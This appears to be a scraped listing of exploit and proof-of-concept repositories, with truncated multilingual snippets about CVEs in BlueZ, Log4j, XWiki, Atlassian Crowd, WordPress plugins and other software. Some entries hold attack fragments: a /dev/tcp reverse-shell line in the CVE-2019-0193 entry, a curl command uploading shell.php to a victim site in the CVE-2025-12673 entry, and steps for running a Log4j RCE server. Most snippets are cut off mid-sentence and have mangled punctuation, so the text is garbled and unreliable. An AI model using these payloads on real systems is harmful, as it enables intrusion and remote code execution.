CVE-2026-78619

Punk::Plugin::TOTP versions before 0.05 for Perl accept another account's recovery code at the two-factor challenge because totpuserecovery compares user identifiers numerically. The helper searches the recovery model for the submitted code's digest alone, across every user's rows, so the ownersh...

log4j-rce-test

Compilazione ./build.sh Avvia il server log4j RCE ./start-log4j-rce-server.sh Test Esegui java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j Controlla se ottieni log in hack.log dalla cartella corrente Puoi modificare questa riga String cmds = "sh", "-c", "echo 'Exploit at '" + getDateString + "...

RCE-Simplephpblog-biggiedroid

CVE-2025-15495 - Caricamento Arbitrario di File Che Porta all'Esecuzione Remota di Codice RCE Prodotto BiggiDroid – Simple PHP Blog CMS Pagina del prodotto: https://biggidroid.com/product/simple-php-blog/ Tipo di Vulnerabilità Caricamento Arbitrario di File Caricamento di File senza Restrizioni...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a"...

CVE-2019-11580

CVE-2019-11580 Atlassian Crowd und Crowd Data Center RCE Verwendung: python CVE-2019-11580.py http://xx.xx.xx.xx/ Crowd-2.11.0 VulnVersion Download https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-2.11.0.tar.gz Powered by Atlassian Crowd Version: 2.11.0 Build:725 -...

CVE-2025-66956

CVE-2025-66956 Eine unsichere Zugriffskontrolle in den Komponenten Contact Plan, E-Mail, SMS und Fax in Asseco SEE Live 2.0 ermöglicht Remote-Angreifern, über eine berechenbare URL auf Anhänge zuzugreifen und diese auszuführen. CVSS-Vektoren CVSS 3.1: 9.8,...

CVE-2026-80186

A stack-based buffer overflow vulnerability exists in BlueZ, the Linux Bluetooth protocol stack. A remote user within Bluetooth radio range can send a specially crafted Extended Inquiry Response EIR packet that causes a buffer overflow when the target device performs Bluetooth discovery. This...

CVE-2026-80185 Bluez: sdp-xml: bluez 5.86: unprivileged-local and adjacent-le-peer leads to arbitrary code execution as root

BlueZ sdp-xml.c type confusion via RegisterProfileServiceRecord can crash bluetoothd local DoS: a crafted nested ServiceRecord can corrupt the SDP XML parser stack so scalar union data is treated as a sequence pointer, allowing a local caller to crash bluetoothd...

CVE-2026-80185

BlueZ 5.86 contains a type confusion vulnerability in its sdp-xml.c parser. A crafted nested ServiceRecord passed via RegisterProfile corrupts the SDP XML parser stack, causing scalar union data to be misinterpreted as a sequence pointer. This allows an unprivileged local caller or an adjacent LE...

CVE-2026-80186

CVE-2026-80186 is a stack-based buffer overflow in BlueZ , the Linux Bluetooth protocol stack, specifically in the name2utf8 function. A remote attacker within Bluetooth radio range can send a crafted Extended Inquiry Response (EIR) packet that triggers the overflow when the target device perform...

CVE-2026-80186

A stack-based buffer overflow vulnerability exists in BlueZ, the Linux Bluetooth protocol stack. A remote user within Bluetooth radio range can send a specially crafted Extended Inquiry Response EIR packet that causes a buffer overflow when the target device performs Bluetooth discovery. This...

CVE-2024-12828-PoC

CVE-2024-12828-PoC Sicherheitslücke zur Remote-Codeausführung durch CGI-Befehlsinjektion in Webmin...

gosign-desktop-exploit-poc

Multiple Vulnerabilities in GoSign Desktop leads to Remote Code Execution Name: TLS Verification Bypass and Insecure Update in GoSign Desktop CVEs: CVE-2025-34324, CVE-2025-34327 System Affected: GoSign Desktop = 2.4.0 Fix: FoSign Desktop 2.4.1 partially fixed Vendor: Tinexta InfoCert S.p.A...

xwiki-cve-2025-24893-exploit

Exploit per XWiki CVE-2025-24893 Exploit di Esecuzione Remota di Codice non autenticato per le versioni di XWiki vulnerabili a CVE-2025-24893. Panoramica della Vulnerabilità Le versioni di XWiki precedenti alla 15.10.9 sono vulnerabili a RCE non autenticata tramite l'iniezione di script Groovy ne...

krle

REACT2SHELL CVE-2025-55182 React2Shell CVE-2025-55182 è una catena di vulnerabilità critica di esecuzione remota di codice RCE che colpisce le applicazioni Next.js che utilizzano Server Actions. La vulnerabilità sfrutta una vulnerabilità di prototype pollution in combinazione con Server Actions p...

CVE-2025-26686-poc-A-critical-RCE-vulnerability-in-Windows-TCP-IP-stack

Questa PoC è stata validata in un ambiente controllato e isolato air-gapped. I dettagli sensibili dello sfruttamento sono stati rimossi tagliati — contatta il manutentore per l'accesso se hai un'autorizzazione scritta...

CVE-2025-53694-to-CVE-2025-53691

Sitecore CVE-Ketten-Exploits Dieses Repository enthält Proof-of-Concept-Exploits für eine kritische Schwachstellenkette in Sitecore Experience Platform XP-Versionen bis 10.4.1. Schwachstellen CVE-2025-53694: Offenlegung von Informationen CVE-2025-53693: Cache-Vergiftung CVE-2025-53691:...

CVE-2019-9978-RCE-PoC

CVE-2019-9978 RCE PoC – Exploit del Plugin Social Warfare per WordPress Inclusione Remota di File RFI non autenticata verso Esecuzione Remota di Codice RCE 📌 Descrizione Questo repository contiene un Proof of Concept PoC basato su Python che dimostra lo sfruttamento di CVE-2019-9978 , una...

CVE-2025-12973

S2B AI Assistant – ChatBot, ChatGPT, OpenAI, Generatore di Contenuti e Immagini = 1.7.7 - Autenticato Editor+ Caricamento Arbitrario di File Il plugin WordPress S2B AI Assistant versioni 2.47 e precedenti contiene una vulnerabilità di caricamento arbitrario di file che consente agli utenti...

CVE-2025-12673

Flex QR Code Generator ' shell.php curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \ -F "action=flexqrupdateqr" \ -F "qrId=1" \ -F "qrData="data":"https://example.com"" \ -F "[email protected]" Details Die Schwachstelle existiert in der Methode updateqrcode der Klasse...